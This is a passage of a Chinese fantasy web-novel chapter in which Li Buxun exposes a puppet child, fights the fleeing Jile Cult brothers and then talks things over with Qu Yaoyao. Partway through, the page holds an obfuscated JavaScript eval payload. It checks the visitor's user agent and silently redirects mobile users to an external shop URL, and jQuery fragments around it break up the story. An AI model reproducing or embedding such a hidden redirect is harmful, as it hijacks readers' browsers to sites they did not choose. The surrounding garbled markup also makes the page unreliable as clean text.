随着李不旬左手指间不断收紧,那男孩不禁失声,面容也逐渐扭曲,眸中亦是惊恐万分。
“李不旬。”曲夭夭小心翼翼地朝他靠近,开口劝道,“就算这孩子真犯了什么天大的错,那吓吓也得了,倒……也不至于如此吧?”
然而李不旬手中青光一现,随即“咔哒”一声,一颗头颅便“咕噜噜”地滚到杜玉茹的脚边,吓得她连连捂着脸一脚踢开。
曲夭夭则是下意识地接住了妇女踢飞的那颗头颅,可定睛一看,那哪里还是什么头颅?分明是一颗椭体的棕褐木头。
木质的脑袋外壳,其眼睛是两个又黑又圆的空洞,而嘴巴则是向上弯成一道月牙的弧度,唇角将至耳后。
除了没有那团黑色的流雾,与先前曲夭夭在路上见到的木偶,并没有多大区别。
而原处的“男孩”,也只剩残缺木块散落一地。
“傀,傀儡术?”曲夭夭心中错愕,几乎是脱口而出,“是极乐教的……”
“怎么会……”
杜玉茹缓缓从指间睁开一只眼来,却并没有见到如她想象中那般血腥的画面,便放下双手,顺着心口拍了又拍:“小公子啊,你这……也不知会一声。我年纪大了,会吓死人的呀。”
先前的百般阻挠,在此刻竟显得有些可笑,这让杜玉茹不免觉得有些侷促。
李不旬倒不予理会,扫去掌间的灰,便径自站起身来,而其眼中依旧平静得毫无波澜:“艮位三里地,背风坡。”
“找死!”曲夭夭闻言,直接冲了出去。
彼时镇外的一座小丘背阴处,树荫如盖,群草丛生,黑夜中默默蹲着两道人影,悄无声息。
郭得福的眼睛瞪得极大,却没有瞳仁,眼眶里全是眼白,诡异万分。
这男人生得矮胖,大肚肥肠,短颈肥腮。在他的指间,还缠绕着数根红线。小小的人形木偶悬在半空,带动着肢节一晃一动。
然而不过须臾,那木偶突然“吧嗒”一声,颈部径直横裂开来。随后一道电光顺着红线闪去,劈得郭得福直接甩着双手就跳了起来。
此刻男人的眼白中漆黑一点骤生,随即陡然放大,那正是他的眼珠子。
傀儡术被打断了。
而不仅如此,李不旬还要电他一下。
“哥,怎么回事?”不同于哥哥,弟弟郭得寿的身量极高,却瘦若竹竿,叫他整个人看上去就像是被拉长的剪影。
“可恶,我就说他怎么那么好心。”郭得福气得直咬牙,“该死的李不旬,我定要将他碎尸万段!”
“什么意思?”郭得寿愣道,“难不成,他知道我们要来偷诡面万象?”
随即他又灵光一现,激动地道:“果然,他从一开始就知道常声有问题!”
“蠢货,有问题的是他,才不是我们!”郭得福即刻斥道。
“不过话说回来……他怎么赶巧就在我们面前提起什么藏书阁的密道,又赶巧提起什么薛家宝物诡面万象。”男人攥紧的拳头猛地一捶树干,霎时万叶纷飞,簌簌而下,“你说,能有这么巧的事?”
郭得寿恍然大悟:“所以……他是故意的?”
“何止,我们都被他给耍了!”郭得福仍觉不够解愤,只一脚踹起堆积的落叶,“这下诡面万象还没拿到,回去要怎么跟雨姬交代?”
“哥……”
“不对。”矮小肥胖的男人忽而又冷静下来,“李不旬……他是怎么知道那孩子有问题的?”
“对哦。”郭得寿也应道,“他才见第一面就收常声为徒,现在想来,确实太过蹊跷。”
郭得福思索着:“我们极乐教本就以傀儡术著称,外人根本分不清真假。”
“他根本就不可能一眼看出那常声内里不过就是个木偶。”男人皱了眉头,“除非……他也精通傀儡一术。”
“中宫土令,后土之精,厚德载物,速现真形。破!”少女的声音自天边由远及近。
与此同时,兄弟俩只觉脚底轰然震动。转瞬之间,一道土柱便在郭得福的面前拔地而出,亦如腾空出海的蛟龙般呼啸而上。
郭得寿反应更快,足尖一点,拽起哥哥的胳膊就往后撤去。可那柱子竟也“轰轰轰”地接连破土,以不可抵挡之势贯穿空气,迅速跟了上来。
可眼见着那道道土柱即将贴面,郭得福赶忙扔出背在身后的斧头。霎时寒光撞破柱身,至半空中被拦腰折断,碎土飞溅,尘灰避目。
“又,又怎么了?”郭得寿得空惊道。
随即,夜空中线线青光连连化作数十把锋利的长剑,好似万箭齐发,接踵而至刺入地面。
兄弟二人则飞速翻身,分别朝两旁躲去。
待不多时土风散去,便见一少女足立柱顶。她一头墨发皆向上梳成双螺,右手端着个八卦罗盘,桃粉衣裙柔和轻盈,而其红绫绕臂而行,在月下翻飞飘舞。
郭得福眉毛一拧:“昭元郡主?你怎么在这?”
曲夭夭则径直抓过飘飞在眼前的灼心绫,就纵身向前跃去:“废话,我来取你狗命!”
只见那灼心绫猛地扫过前方空地,末端倏尔燃起滚烫的焰浪。波及之处,寸草不留,尽成焦土。
郭得寿敏捷地躲过攻击,手腕一抖便甩出噬骨长鞭,死死绞住再度卷席而来的红绫炽焰。而郭得福也顺势翻手作诀,顿时墨绿浓光乍现,直朝曲夭夭扑去。
然而一束青蓝快速窜了出来,与那墨绿的柱流直直相撞。旋即“砰”的一声,两股力量就在中途炸开,竟是照亮了半边天际。
渐渐地光亮隐去,地面被翻起一道深沟,四周也亦是焦黑一片。烟尘散灭之际,那郭氏兄弟的身影却也不见踪迹。
是时李不旬轻功落地,眉头紧锁盯着那处。
而曲夭夭心中愤恨,符纸化剑转身一指,剑尖离那人喉结,只一寸的距离:“到底怎么回事?极乐教根本就没死!”
她颤抖着,连剑都险些拿不稳了:“李不旬,你早就知道了……对不对?”
“曲夭夭,你先冷静。”李不旬试着安抚道。
“难道不是吗?”曲夭夭一步一步靠近,眼前人也只能跟着一步一步往后退,“那你为什么知道他们在这?”
她深深吸了口气,又从唇齿间丝丝缕缕漏了出来:“你根本不懂……根本不懂我有多想将他们剥筋剜骨!”
李不旬后背撞上树干,终是退无可退。
曲夭夭也停了下来:“李不旬,你不是能定位吗?你不是能追踪吗?那你告诉我,他们……跑哪去了?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658849|205129||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
李不旬却低垂着眼眸:“我不知道。”
“不知道?”
“我也想知道。”他抬首,“你这么恨极乐教,我又何尝不是想杀了他们。”
李不旬顿了顿,继续解释道:“知道位置是因为我刚杀了木偶,同时操纵傀儡的傀线也还未来得及收。由此,我的灵力便能顺着那线找到操纵之人的所在之地。”
“不过,也只是能知道那一瞬的位置罢了。”
曲夭夭一听,眸色渐渐暗了下来。而待剑身散去,她亦缓缓垂下右手:“所以我还是做不到。”
“极乐教既能复生,定是错综复杂,仅凭你我之力,又何以与之对抗?”李不旬朝她走近几步,宽慰道。
“所以……你是知道那孩子不对劲,才收他为徒的?”曲夭夭别过头,淡声道,“然后你就设法引他将诡面万象偷出来,好钓出幕后之人?”
“不错。”李不旬停下脚步,轻道,“曲夭夭,发泄完了?”
曲夭夭抬手一抹眼角泪花:“没有。”
“那如果郡主还想打……”李不旬环了胸,“我随时都可以奉陪。”
“和你打有什么用?”
“能让你解气不就行?”
夜风徐徐漾过,月色清凉,在地面上淌作一滩静水。而一人不言一人便也不语,许久过去,曲夭夭内心翻涌的浪头退去,终于回归宁静。
“那……极乐教为什么要偷诡面万象?”她突然开口问道。
而李不旬也如实应答:“这点……我也还不清楚。我要是知道,也就不至于钓鱼了。”
“李不旬,你还挺会设局。”曲夭夭理好被风吹乱的额发,“结果却根本没有料到,会因此害得无辜之人魂魄离体。”
“你心中有愧,所以就自己一个人闷声去摘谪诛草?”冷白的月光落在少女脸上,尚未干涸的泪痕盈盈,“也不告诉我。”
曲夭夭忽而轻笑出声:“我还想你刚刚怎么那么凶,合着是在和自己闹脾气。”
“你是闯了祸,难怪不敢回去。”她又稍放缓了语调,直朝李不旬走去,轻轻一戳他的胸膛,“原来,李公子表面看着风光,实际上也会这样。”
而见她这会笑得眼泪又出来了,李不旬便无奈道:“有那么好笑么?”
曲夭夭看向他,坦然道:“有啊,怎么没有?”
李不旬则回应她视线:“那你现在还恼吗?”
曲夭夭摇了摇头。
“所以呢?”她道,“你今晚还回不回去?”
夜风拂面,人却无言。
曲夭夭一勾唇角,便轻飘飘地从李不旬身旁越过:“你不回去,那我可要回去。”
而随即,那人竟一把将她给拉住了。
“干嘛?不想我回去啊?”曲夭夭觉得好笑。
“求我。”她故意道。
“求你。”李不旬想都没想就回。
曲夭夭一怔:“李不旬,你能不能有点底气?”
李不旬亦挑眉,嚣张道:“什么才叫有底气?”
曲夭夭闻言,双唇轻启却是哑言,半晌才接着说道:“那既然不想回去……”
她背着手,重新在李不旬面前站定,又仰首望去,道:“李不旬,你会喝酒吗?”